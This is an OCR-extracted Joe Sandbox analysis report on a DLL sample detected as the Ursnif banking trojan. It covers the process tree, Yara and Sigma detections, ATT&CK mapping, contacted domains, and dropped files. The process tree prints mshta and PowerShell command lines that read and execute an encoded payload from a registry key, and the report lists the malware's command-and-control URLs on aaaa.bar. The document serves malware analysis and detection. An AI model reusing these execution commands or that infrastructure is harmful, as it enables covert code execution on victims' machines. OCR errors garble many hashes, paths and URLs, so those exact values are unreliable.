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Windows Analysis Report geCym.bin
Overview

General Information Detection

Sample gECym.bin (renamed file
Name: extension from bin to dll) MALICIOUS

Analysis ID: 506330

Classification

Sigma detected: Powershell run cod...

Multi AV Scanner detection for subm...

MD5: .
fch53acd5fd1637.. Yara detected Ursnif

SHA1:
209432a56375¢5.. System process connects to networ...

SHA256: cc7045d9fe77c4a.

ursnif

Sigma detected: Encoded IEX

Hooks registry keys query functions...
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Writes or reads registry keys via WMI
Infos: Qt Sy Yty 2y

Suspicious powershell cammand line...

Most interesting Screenshot:

nif

Madifies the prolog of user mode fun...

Score: 100 Sigma detected: MSHTA Spawning| ...
Range: 0-100

Sigma detected: Mshta Spawning W...
Whitelisted: false

Confid 100% Modifies the export address table of...
onfidence: Q

Writes registry values via WMI

Modifies the import address table of...

Process Tree

= System is wl0x64

e [ loaddll32.exe (PID: 2908 cmdline: loaddll32.exe 'C:\Users\user\Desktop\gECym.dIl' MD5: 72FCD8FBOADC38ED9050569AD673650E)
. cmd.exe (PID: 5032 cmdline: cmd.exe /C rundll32.exe ‘C:\Users\user\Desktop\gECym.dll',#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)
. D rundll32.exe (PID: 4892 cmdline: rundll32.exe 'C:\Users\user\Desktop\gECym.dlII',#1 MD5: D7CA562B0DB4F4DD0OF03A89A1FDAD63D)
o [ regsvr32.exe (PID: 1368 cmdline: regsvr32.exe /s C:\Users\user\Desktop\gECym.dIl MD5: 426E7499F6A7346F0410DEAD0805586B)
. @ iexplore.exe (PID: 2376 cmdline: C:\Program Files\Internet Explorer\iexplore.exe MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)
. @ iexplore.exe (PID: 2856 cmdline: ‘C:\Program Files (x86)\Internet ExplorelEXPLORE.EXE' SCODEF:2376 CREDAT:17410 /prefetch:2 MD5:
071277CC2E3DF41EEEA8013E2AB58D5A)
. D rundli32.exe (PID: 4908 cmdline: rundll32.exe C:\Users\user\Desktop\gECym.dll,DllUnregisterServer MD5: D7CA562B0DB4F4DD0OF03A89A1FDADG3D)
. D rundli32.exe (PID: 4864 cmdline: rundll32.exe C:\Users\user\Desktop\gECym.dll,DlIRegisterServer MD5: D7CA562B0DB4F4DD0OF03A89A1FDADG3D)
o D rundli32.exe (PID: 6232 cmdline: rundll32.exe C:\Users\user\Desktop\gECym.dll,DlIGetClassObject MD5: D7CA562B0DB4F4DDOF03A89A1FDAD6G3D)
. mshta.exe (PID: 5352 cmdline: 'C:\Windows\System32\mshta.exe' ‘about:<hta:application><script>Kf7p="wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Kf7p).regread('HKC

U\\Software\\AppDataLow\\Software\\Microsoft\54E80703-A337-A6B8-CDC8-873A517CABOE\\\TestLocal'));if('window.flag)close()</script>" MD5:
197FC97C6A843BEBB445C1D9C58DCBDB)

o E¥ powershell.exe (PID: 1140 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Soft
ware\AppDataL.ow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CABOE').UrlsReturn)) MD5: 95000560239032BC68B4C2FDFCDEF913)
. conhost.exe (PID: 5800 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
. mshta.exe (PID: 5956 cmdline: ‘C:\Windows\System32\mshta.exe' ‘about:<hta:application><script>Acbs="wscript.shell’;resize To(0,2);eval(new ActiveXObject(Acbs).regread('HKC
U\\Software\\AppDataL.ow\Software\\Microsoft\54E80703-A337-A6B8-CDC8-873A517CABOE\\\TestLocal'));if('window.flag)close()</script>' MD5:
197FC97C6A843BEBB445C1D9C58DCBDB)

o E¥ powershell.exe (PID: 4856 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Soft
ware\AppDatalLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CABOE").UrlsReturn)) MD5: 95000560239032BC68B4C2FDFCDEF913)
. conhost.exe (PID: 6272 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
. mshta.exe (PID: 2620 cmdline: ‘C:\Windows\System32\mshta.exe' 'about:<hta:application><script>NsOe="wscript.shell’;resize To(0,2);eval(new ActiveXObject(NsOe).regread('HKC

U\\Software\\AppDataLow\\Software\\Microsoft\54E80703-A337-A6B8-CDC8-873A517CABOE\\TestLocal"));if('window.flag)close()</script>' MD5:
197FC97C6A843BEBB445C1D9C58DCBDB)

o E¥ powershell.exe (PID: 1640 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Soft
ware\AppDatalLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CABOE").UrlsReturn)) MD5: 95000560239032BC68B4C2FDFCDEF913)
. conhost.exe (PID: 1520 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
= cleanup

Malware Configuration

No configs have been found
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Yara Overview

Memory Dumps

Source Rule Description Author Strings
00000009.00000003.668818796.00000000050D8000.00000 JoeSecurity_Ursnif ~ Yara detected Joe Security
004.00000040.sdmp Ursnif
00000009.00000003.669066527.00000000050D8000.00000 JoeSecurity_Ursnif  Yara detected Joe Security
004.00000040.sdmp Ursnif
00000003.00000003.760454651.0000000005528000.00000  JoeSecurity_Ursnif ~ Yara detected Joe Security
004.00000040.sdmp Ursnif
00000009.00000003.720146282.00000000050D8000.00000 JoeSecurity_Ursnif  Yara detected Joe Security
004.00000040.sdmp Ursnif
00000000.00000003.725551694.0000000003C38000.00000 JoeSecurity_Ursnif ~ Yara detected Joe Security
004.00000040.sdmp Ursnif

Click to see the 50 entries

Unpacked PEs

Source Rule Description Author Strings

6.2.rundll32.exe.2a90000.0.raw.unpack JoeSecurity_Ursnif_1  Yara detected Joe Security
Ursnif

0.2.loaddlI32.exe.f30000.0.raw.unpack JoeSecurity_Ursnif_1  Yara detected Joe Security
Ursnif

0.2.loaddlI32.exe.10000000.3.raw.unpack JoeSecurity_Ursnif_1  Yara detected Joe Security
Ursnif

0.2.loaddll32.exe.10000000.3.unpack JoeSecurity_Ursnif_1  Yara detected Joe Security
Ursnif

0.2.loaddlI32.exe.37194a0.2.unpack JoeSecurity_Ursnif_1  Yara detected Joe Security
Ursnif

Click to see the 2 entries

Sigma Overview

System Summary: | | |

Sigma detected: Encoded IEX

Sigma detected: Non Interactive PowerShell

Data Obfuscation: | ! |

Sigma detected: Powershell run code from registry

Jbx Signature Overview

@ Click to jump to signature section

AV Detection: | | |

Multi AV Scanner detection for submitted file

Networking: - |

System process connects to network (likely due to code injection or exploit)
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Key, Mouse, Clipboard, Microphone and Screen Capturing:

=

Yara detected Ursnif

]‘

E-Banking Fraud:

Yara detected Ursnif

System Summary:

“ =

=

Data Obfuscation:

=

Hooking and other Techniques for Hiding and Protection:

Yara detected Ursnif

HIPS | PFW | Operating System Protection Evasion:

=

System process connects to network (likely due to code injection or exploit)

Stealing of Sensitive Information: | |

Yara detected Ursnif

Remote Access Functionality: | |

Yara detected Ursnif

Mitre Att&ck Matrix

Initial Privilege Credential Lateral Command Netv
Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection Exfiltration and Control Effe
Valid Windows DLL Side-  DLL Side- Obfuscated Filesor  Credential System Time Remote Archive Exfiltration  Ingress Tool Eave
Accounts  Management Loading Loading Information API Discovery Services Collected ~ Over Other Transfer@  Inse
Instrumentation Hooking Dataf]  Network Netw
Medium Com
Default Native API Boot or Process Software Packing Input File and Directory Remote Credential Exfiltration Encrypted Expli
Accounts Logon Injection capture [} Discovery Desktop API Over Channel Redi
Initialization Protocol Hooking g Bluetooth Calls
Scripts

Domain Command and Logon Script Logon Script DLL Side-Loading Security System Information SMB/Windows Input Automated Non- Expli
Accounts Scripting (Windows)  (Windows) Account Discovery Admin Shares Capture Exfiltration  Application Trac
Interpreter Manager Layer Loca

Protocol
Local PowerShell Logon Script Logon Script Rootkit NTDS Query Registry Distributed Input Scheduled Application SIM
Accounts (Mac) (Mac) Component Capture Transfer Layer Swa|

Object Model Protocol
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Compromise Scripting
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Public-

Facing

Application

Behavior Graph

Screenshots

Thumbnails
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Privilege

Persistence Escalation

Network

Network Logon

Logon Script Script

Rc.common Rc.common

Startup
Iltems

Scheduled
Task/Job

At (Linux)

Startup ltems

Scheduled
Task/Job

At (Linux)

star

Credential Lateral Command
Defense Evasion Access Discovery Movement Collection Exfiltration and Control
Masquerading LSA Security Software SSH Keylogging Data Fallback
Secrets Discovery Transfer Channels
Size Limits
Virtualization/Sandbox Cached Virtualization/Sandbox VNC GUI Input  Exfiltration  Multiband
Evasion Domain Evasion Capture Over C2 Communication
Credentials Channel
Process DCSync Process Discovery Windows Web Portal Exfiltration  Commonly
Injection Remote Capture Over Used Port
Management Alternative
Protocol
Regsvr32 Proc Remote System Shared Credential Exfiltration Application
Filesystem Discovery Webroot API Over Layer Protocol
Hooking Symmetric
Encrypted
Non-C2
Protocol
Rundll32 letc/passwd System Network Software Data Exfiltration Web Protocols
and Connections Deployment  Staged Over
letc/shadow Discovery Tools Asymmetric
Encrypted
Non-C2
Protocol

o
Sample:
Startdate:
Architecture:

Score:

Behavior Graph
506330

Legend:
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This section contains all screenshots as thumbnails, including those not shown in the slideshow.

A https:/vwsnw.msn.com/de-ch/ 7o p ~ @ ¢ || Search..

3 M5 Schweiz | Sign in Hat...

Microsoft tritt fiir den Schutz lhrer Privatsphére ein

Microsoft und unsere Drittanbieter verwenden Cookies, um Informationen wie eindeutige IDs zu speichemn und darauf zuzugreifen,
sodass unsere Dienste und Werbeanzeigen bereitgs It, verwaltet und verbessert werden kénnen. Wenn Sie zustimmen,
personalisieren MSN die angezeigten Inhalte und Anzeigen. Sie kénnen *Akzeptieren’ auswahlen, um dieser Verwendung
zuzustimmen, oder auf ‘Zwecke anzeigen' klicken, um Ihre Optionen zu tberprifen. Sie kdnnen Ihre Auswahl unter ‘Einstellungen
verwalten' unten auf dieser Seite andem, Datenschutzerkizrung.

Wir und unserer Partner verarbeiten Daten, um

prazise Geolokalisierungsdaten zu verwenden und aktiv Gerateeigenschaften zur Identifizierung zu scannen. Dies dient dazu,
Informationen auf einem Gerat zu speichemn und darauf zuzugreifen sowie personalisierte Anzeigen und Inhalte, Anzeigen- und
Inhaltsmessung, Einblicke in die Zielgruppe und Informationen zur Produktentwicklung bereitzustellen.

Akzepi

Zwecke anzeigen

TQDFJHPUIU b

Type here to search

Antivirus, Machine Learning and Genetic Malware Detection
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Initial Sample

Source Detection Scanner Label Link

Dropped Files

No Antivirus matches

Unpacked PE Files

Source Detection Scanner Label Link Download

Domains

No Antivirus matches

URLs

Source Detection Scanner Label Link
hitp://https://aaaa.bar/ 0% Virustotal Browse
http:ifhttps://aaaa.bar/ 0% Avira URL Cloud safe

http:// 0% Avira URL Cloud safe

https://aaaa.bar/jdraw/5EykzOMH8AC5xhH2f/h8YTRIF2mRSj/KI86vZ_2Fir/d_2FuekCCAOUjfizFWcX3el
3Ac_2BX_2BJGA/HUhc5yQiyPXedVM9/FyaB9AafT7f6pnl/rx17UyNOGmMK2igoXTh/2p_2Bsvx3/fo8welb
gw6ZsfyAC6K72/DEX9YIVMXwvcSkZsNZR/8w9UBuUtAyGo407eExfiyfi/bLDkUZuz9hmdJ/XGInYyFxlidcy/
JoKC.crw

http:// 0% Avira URL Cloud safe
https://aaaa.bar/jdraw/yQNRXOou_2F/TKb_2FDPLUXEHX/34UsINMRGrFOUObrExsG/R8IvAy6e3bs7Nh
2H/QoLe_2Bwp2v2e8Z/lwuigSnSaPWQnudhme/0fUiRiwnK/HC2m5rShiXeZnaMhBAa7/2sv1pUExc23tc
G4uzbe/S9YqUCaVHHISHD_2FHBasu/DOIWi2P1fW4xM/vPgP1tY 3/PB1yvdHjP2kNFIOVG_2Fhxc/khvl

QiPG/3tnR7uH.crw

http:// 0% Avira URL Cloud safe
https://aaaa.bar/jdraw/v6MBuMp_2/FbQ1ciPPyCG2FcgWXCEw/4p6JWEqOHgaqqmtUZIW/iZ4hp74waY

Qa3SoGGuOhol/ovu

http:// 0% Avira URL Cloud safe

https://aaaa.bar/jdraw/v6MBuMp_2/FbQ1ciPPyCG2FcgWXCEwW/4p6JWEqOHgaqqmtUZIW/iZ4hp74waY
Qa3SoGGuOhol/ovuxQrp7KsWgS/wBggvPBS/iWInt5CFnJyvSqpyHgJyYxn/O_2F 2BUYe/fLDTk5RpDf
2F9MZ_/2F7NAIxeGgZa/QcsaY21TZZx/U7QIv9qIBRWgpg/DR61HU_2FzqgxKP2wonEs/EKSZK.crw

http://https:/fimg.img- 0% Avira URL Cloud safe
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ce_sharpen%2Ch_311%2Cw_207%2Cc_pad%2Ch
_auto/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2Faedbb0638c2ccabdeb95

8fc2d93204dc.jpg

http:i/https:/fimg.img- 0% Avira URL Cloud safe
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_f{ill%2Cg_faces:auto%2C
e_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2F5b179a030c29alac

065fdc22323514dd.png

http:if 0% Avira URL Cloud  safe
https://aaaa.bar/jdraw/NO7gROKTty/Oqx9aKgxsT2Y54eU9/T_2Fq68MoL8B/sVIG7EXwGUN/2b4WQXmr

NjZgxz/IsPGuUpM_2FQweZHv_2BB/gqSCY Cr2zsOkbh38r/It4yIHc8jFLoO0JQ/k2WdhsET8UEtCWKWoz/q
KONYcQpl/QBJ1IUtsdnk2R51rdvsn/Du_2F_2Ftub4vOTulOX/47sdvY8Q/mQd32Pz7EA_2F/N.crw

http:if 0% Avira URL Cloud  safe
https://aaaa.bar/jdraw/MVdZIliuONzX64W/jGgxHg6bCBYiiTOGCL_2B/K5_2B40guOlrq_2F/deq5LFM1_2F
h_2B/A30hkj4LBKS8Pnjdwl/9w5zD21KD/Gv4zCmpHpXW8kBPJ6YzJ/GKf4n1QcwBRAhkvF2a_/2BDpnBr
AV7AZvGg_2FwWtGG/RaDUbMye7jghn/NmN4ViOF/bD7myyGQXfiKlvl_2BoXKI7/VLTDzeWG/dZ.crw

hitp:// 0% AviraURL Cloud  safe
https://aaaa.bar/jdraw/H4GjPkmE7AedOn2/SaetnicpaebgBYZBph/BvmQBH2Ya/Oa705fA_2FxihzNsKVG
G/_2BKOERNO0ze3StZ8PJO/K9jrIAYK2cirYDQTLgJFGo/m_2BMIG_2Ff7J/IM2tNW_2B/IJwKxyFyNvYCJP
pLYcu2z3fg/Co6_2F9DSd/aeV2ilileaWP_2B3q/B8Ii95Syxk_2/BFqOHWCSf6U/KNFKNXJjQfI9vK/6tnrhCZ

8FpH5I_2FDWF/IT.crw

http://https://img.img- 0% Avira URL Cloud safe
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2C
e_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2F5282696e9e2aabcd

3d346a6d7ed7591e.png

http:ihttps://ad-delivery.net/px.gif?ch=1&e=0.9973131461099627 0% Avira URL Cloud safe
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https://www.virustotal.com/gui/file/cc7045d9fe77c4aa4cb646d01fb4700008a34f58f49358d0b0b0997d21016aab/detection/f-cc7045d9fe77c4aa4cb646d01fb4700008a34f58f49358d0b0b0997d21016aab-1634735564
https://www.virustotal.com/gui/url/9e7178e5f47461edb15cc05dfd80239fefcec0cc88ffd2f7f82e409f2f696004/detection/u-9e7178e5f47461edb15cc05dfd80239fefcec0cc88ffd2f7f82e409f2f696004-1634734235

Source Detection Scanner Label Link

http://https://img.img- 0% Avira URL Cloud safe
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2C
e_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2F18faa6af75b04f019

9f63404d815074b.jpg

http://https://img.img- 0% Avira URL Cloud safe
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2C
e_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2F0d7ca0c89d5d09bf

1d71170b01c3a769.jpg

http:// 0% Avira URL Cloud  safe
https://aaaa.bar/jdraw/6ybu_2FNdKFOgG/m7orpeXdQJjdHGv7mDMIL/JfKVVeTDKqlgaDX7/GcXqJLlu54
6KZ6e/n4P40zwLSG43PTmkn1/t0lauglYi/uThwi2_2Bb89U_2F9plY/Zxq7QGyYY_2FF4AUNHAUI342Y14jY
PKMWYQUnOqvUg/ialVXOIbfvfYW/_2BuG_2B/DIgh1sPi5LA4I60pVIFMhDT/0Z5HvD.crw

http:// 0% Avira URL Cloud  safe
https://aaaa.bar/jdraw/WNAIg8cEc/UcfXfHTDCraOPvAxQOu0/IBGE8nVsnVmaTWmaqt_2/FgXrkKfYI9UDV
TSC9YOK9U/edsq3gaEaK4UV/nX98HXXg/zJ1jx_2BUwWSFKII5SF8AIb_2/FG3fGkSRfJ/J4BestfVNDAUFKD
XV/IXH_2BYMBJKGO/i905kI15Exg/Ujf1s7nWsRKDBP/pBWe2EoKcTyJWOr5TV220/pk_2FzstpMvpdzIO/

Mqg8HfsXB/P.crw

http:// 0% Avira URL Cloud  safe
https://aaaa.bar/jdraw/gquCtxgLcwr_2F/e84ivzpkcm6RjGEX01HRQ/1IrxRgAMZnr84pf7/d6zLIeHTDCpRx
yP/mtUcNkhWJ9YEaOQAKuU/ZbEc2Du6X/JsZUowsYOu98vblofvm0/EeOsadhZCmRp8ZCZ8KO/Ei99ya5
BDB6uxeZYaXwGYu/W7LMC3IC7p7Aq/X8nzxfM9/9M7hUrRFHoU/Zf8MWsTW.crw

http://https://btloader.com/tag?0=6208086025961472&upapi=true 0% URL Reputation safe

http://https://img.img- 0% Avira URL Cloud safe
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_faces:auto%2C
e_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2FGETTY_IMAGES%

2FIBK%2F542734683__clsfZCtG.jpg

http:// 0% Avira URL Cloud  safe
https://aaaa.bar/jdraw/VsEIWZ_2Fbo/VS2aUL2DPkksBz/_2BbHmaiMGFq8k7sf_2FK/_2BE4M1ccGRR2c
ER/_2ByL6dRggF3y7v/IVMICRRP5R6TojvxFTX/kOSI73q2F/w8Q6acp8KbUFCWTOVCqa/KHPQFwW1IXW
8ntmCw6R5/_2FriFMVRAST7jKjzINgjl_/2B3JIM1ZTjVZL/7f9n_2Fm/jOA3VF_2BTXTJlyVXccf7gs/IMfn4fiH

Wd/131boiX_2F3/uQt3.crw

http:// 0% Avira URL Cloud  safe
https://aaaa.bar/jdraw/hgka30Wii/310q5rEnSRjUxODbgauN/3Qomlb_2B617h2xIFjg/YffmBTpCRrKICahw
BmdROz/L3L_2BpluTz9H/ch5yKjwO/nOFR27CV_2B_2FzpXk9iMJIC/P_2Fk2e7Yv/b_2BW31QojrkMDFW
CItZHFJIBU8IQgI/OZI9INXt600/sFUOUICIFGCeBD8/qZGUVX5D_2FY XiueAO15K/GMENEsw.crw

http:/f 0% Avira URL Cloud safe
https://aaaa.bar/jdraw/VsEIWZ_2Fbo/VS2aUL2DPkksBz/_2BbHmaiMGFq8k7sf_2FK/_2BE4M1ccGRR2c
ER/_2ByL6dRggF

Domains and IPs

Contacted Domains

Name IP Active Malicious Antivirus Detection Reputation
contextual.media.net 23.211.6.95 true false high
dart.l.doubleclick.net 172.217.168.38 true false high
tls13.taboola.map.fastly.net 151.101.1.44 true false high
aaaa.bar 31.220.111.98 true false high
myip.opendns.com 102.129.143.33 true false high
hblg.media.net 23.211.6.95 true false high
lg3.media.net 23.211.6.95 true false high
resolverl.opendns.com 208.67.222.222 true false high
btloader.com 104.26.7.139 true false high
geolocation.onetrust.com 104.20.184.68 true false high
ad-delivery.net 104.26.3.70 true false high
WWW.msn.com unknown unknown false high
ad.doubleclick.net unknown unknown false high
srtb.msn.com unknown unknown false high
img.img-taboola.com unknown unknown false high
web.vortex.data.msn.com unknown unknown false high
222.222.67.208.in-addr.arpa unknown unknown false high
cvision.media.net unknown unknown false high

Contacted URLs

Name Malicious Antivirus Detection Reputation

http:ifhttps://ad.doubleclick.net/favicon.ico? false high
ad=300x250&ad_hox_=1&adnet=1&showad=1&size=250x250
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Malicious Antivirus Detection Reputation

http://https://img.img- false e Avira URL Cloud: safe unknown
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ce_sharpen%2Ch_311%2Cw_207%2Cc
_pad%2Cb_auto/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%2Fae

dbb0638c2ccabdeb958fc2d93204dc.jpg

http://https://img.img- e Avira URL Cloud: safe unknown
taboola.com/taboola/imagef/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_face
s:auto%2Ce_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%

2F5b179a030c29alac065fdc22323514dd.png

http:ifhttps://geolocation.onetrust.com/cookieconsentpub/vl/geo/location high

http://https://img.img- Avira URL Cloud: safe unknown
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_face
s:auto%2Ce_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%

2F5282696e9e2aabcd3d346a6d7ed7591e.png

http:ifhttps://ad-delivery.net/px.gif2ch=1&e=0.9973131461099627 Avira URL Cloud: safe unknown

http:i/https://img.img- Avira URL Cloud: safe unknown
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_face
s:auto%2Ce_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%

2F18faabaf75b04f0199f63404d815074b.jpy

http:/fhttps://img.img- Avira URL Cloud: safe unknown
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_face
s:auto%2Ce_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%

2F0d7ca0c89d5d09bf1d71170b01c3a769.jpg

hitp://https://btloader.com/tag?0=6208086025961472&upapi=true false e URL Reputation: safe unknown

hitp://https://img.img- false e Avira URL Cloud: safe unknown
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ch_311%2Cw_207%2Cc_fill%2Cg_face
s:auto%2Ce_sharpen/http%3A%2F%2Fcdn.taboola.com%2Flibtrc%2Fstatic%2Fthumbnails%

2FGETTY_IMAGES%2FIBK%2F542734683__clsfZCtG.jpg
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Name Malicious Antivirus Detection Reputation

URLs from Memory and Binaries

Contacted IPs

Public
P Domain Country Flag ASN ASN Name Malicious
104.26.3.70 ad-delivery.net United States = 13335 CLOUDFLARENETUS false
31.220.111.98 aaaa.bar Lithuania ] 47583 AS-HOSTINGERLT false
151.101.1.44 tls13.taboola.map.fastly.ne United States = 54113 FASTLYUS false
t
104.26.7.139 btloader.com United States = 13335 CLOUDFLARENETUS false
104.20.184.68 geolocation.onetrust.com  United States = 13335 CLOUDFLARENETUS false
172.217.168.38 dart.l.doubleclick.net United States = 15169 GOOGLEUS false
Private
P
192.168.2.1
General Information
Joe Sandbox Version: 33.0.0 White Diamond
Analysis ID: 506330
Start date: 20.10.2021
Start time: 15:07:24
Joe Sandbox Product: CloudBasic
Overall analysis duration: Oh 18m 13s
Hypervisor based Inspection enabled: false
Report type: light
Sample file name: gECym.bin (renamed file extension from bin to dll)
Cookbook file name: default.jbs
Analysis system description: Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, |E 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes 49
analysed:
Number of new started drivers analysed: 0
Number of existing processes analysed: 0
Number of existing drivers analysed: 0
Number of injected processes analysed: 0
Technologies: e HCA enabled
e EGA enabled
e HDC enabled
e AMSI enabled
Analysis Mode: default
Analysis stop reason: Timeout
Detection: MAL
Classification: mal100.troj.evad.winDLL@26/19@24/7
EGA Information: Failed
HDC Information: e Successful, ratio: 64.6% (good quality ratio 60.8%)

e Quality average: 78.4%
e Quality standard deviation: 30.2%

HCA Information: Failed
Cookbook Comments: e Adjust boot time
e Enable AMSI

e Override analysis time to 240s for rundll32

Warnings: Show All
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Simulations

Behavior and APIs

Time Type Description

15:10:37 API Interceptor 1x Sleep call for process: regsvr32.exe modified
15:10:37 API Interceptor 2x Sleep call for process: rundll32.exe modified
15:10:37 API Interceptor 1x Sleep call for process: loaddll32.exe modified
15:12:26 API Interceptor 46x Sleep call for process: powershell.exe modified

Joe Sandbox View | Context
IPs
No context

Domains

No context

ASN

No context

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Recovery\High\Active\RecoveryStore.{3F2CDD13-31F2-11EC-90E5-ECF4BB570DC9}.dat

Process: C:\Program Files\internet explorer\iexplore.exe

File Type: Composite Document File V2 Document, Cannot read section info

Category: dropped

Size (bytes): 5632

Entropy (8bit):  2.303215435374284

Encrypted: false

SSDEEP: 24:1BG//dyyoG//dyywjwyyaMJIOyyqMIn9IW6rb9IW6r:rBG/8PG/8N7ncXV2i2

MD5: B56ACB4E6B3293BA19D0503E2170C408

SHAL: 92DB88CC10DB2A603E8466D7B402C37D21A584C3

SHA-256: 2449C11333E65E0D972FB3F5BC3A0667C6E8EEF0350663A1968C0B1EDO2E679B

SHA-512: 15CD996A299EA60B92DCOASF5F9AC2924D8D61DD9173C2A821804C8C770268426228BD2455F17E9FEB051C7CC79EDD792F3421FB224E3AFOC3995A5F37B2EBE
A

Malicious: false

Reputation: unknown

Preview:

R.0.0.t. .[E.ntry.
LEor

Kjj.a.g.f.ajN.2.c.0.u.z.g.v.1.1.4.q.y.5.n.f.W.e.
....0._.T.S.F.N.0.s.P#.1.x.7.B.G.Q.5.e.z.0.u.1.c.N.y.Q.=.

am.e.Lis.t

C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Recovery\High\Active\{3F2CDD15-31F2-11EC-90E5-ECF4BB570DC9}.dat

Process: C:\Program Files\internet explorer\iexplore.exe
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C:\Users\user\AppDatal\Local\Microsoft\internet Explorer\Recovery\High\Active\{3F2CDD15-31F2-11EC-90E5-ECF4BB570DC9}.dat

File Type: Composite Document File V2 Document, Cannot read section info
Category: dropped
Size (bytes): 332800

Entropy (8bit):  3.5961335597614354

Encrypted: false

SSDEEP: 3072:32/2Bfcdmu5kgTzGtMZ/2Bfc+mubkgTzGtY Z/2Bfcdmu5kgTzGtPZ/2Bfc+muSkn:+3CA

MDS5: E18515874802ADABB53A5FDA9129AA3B

SHA1L: B5E4471C3B7585C26EBO7EDID1708F2D11419C26

SHA-256: C5C901014D0AD31761C34F248BCA359042DC32A56F18934B1681A8A5F08D3325

SHA-512: 1B16A003EC2FABABBBIE0383B4B1F43586DB475A1CA88EOEC2F84ECE719A7A5779F75696C3416794FB2D8CB8302BD4EC62ED28EB8B3E437C03002C517F1472F
3

Malicious: false

Reputation: unknown

Preview:

Entryo.
.....T.rav.ellLo.g

Kjj.a.g.f.aj.N.2.c.0.u.z.g.v.1.1.4.q.y.5.nf.W.e..
.............. Tl

C:\Users\luser\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{497FFA3A-31F2-11EC-90E5-ECF4BB570DC9}.dat

Process: C:\Program Files\internet exploren\iexplore.exe

File Type: Composite Document File V2 Document, Cannot read section info

Category: dropped

Size (bytes): 4096

Entropy (8bit): 1.6705445729981827

Encrypted: false

SSDEEP: 12:rl00XGFXxT4XDrEgm8Gr76Fr+IXDrEgm8GD7qw9lpQA9dvIIsQOY9IcC:rtG8r+ITG8ClaAHIIr0Y2

MD5: B22965349F002388D86C795AFDE0EBGA

SHA1L: 68AA871597398E51A33ABF8C402C8D54C484AFCB

SHA-256: EBFFCD86C7D5468E4021389A5A72B51178AE653892BDFF78B2799D4205612DE7

SHA-512: C62ADFADABDA38EODB68AES8E5401FCEFB001B14CF098AA3AF04B56CBCEC8B43E4ES5A7324FDB14BA5854DA72B8723856B8BFFOB2DE64C555363E4279B69FC
F7F

Malicious: false

Reputation: unknown

Preview:

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\{800CAE1D-31F2-11EC-90E5-ECF4BB570DC9}.dat

Process: C:\Program Files\internet explorer\iexplore.exe

File Type: Composite Document File V2 Document, Cannot read section info

Category: dropped

Size (bytes): 4096

Entropy (8bit):  1.6657795438851608

Encrypted: false

SSDEEP: 12:rl00XGFvXDrEgm8Gr76FA+IXDrEgm8GD7qw9lpQA9dvIIsQ0Y9IcC:rY GBA+TG8C9laAHIIr0Y2

MD5: 7B33FEEE0D101255C74A14617B867714

SHA1: EC8CFOE9F78A22A2D07A567D947A842C22B593E0

SHA-256: DCCO08AA984FBC0153588DA4FC94DA31B710DCAFD83745FBD42B920CC30F46110

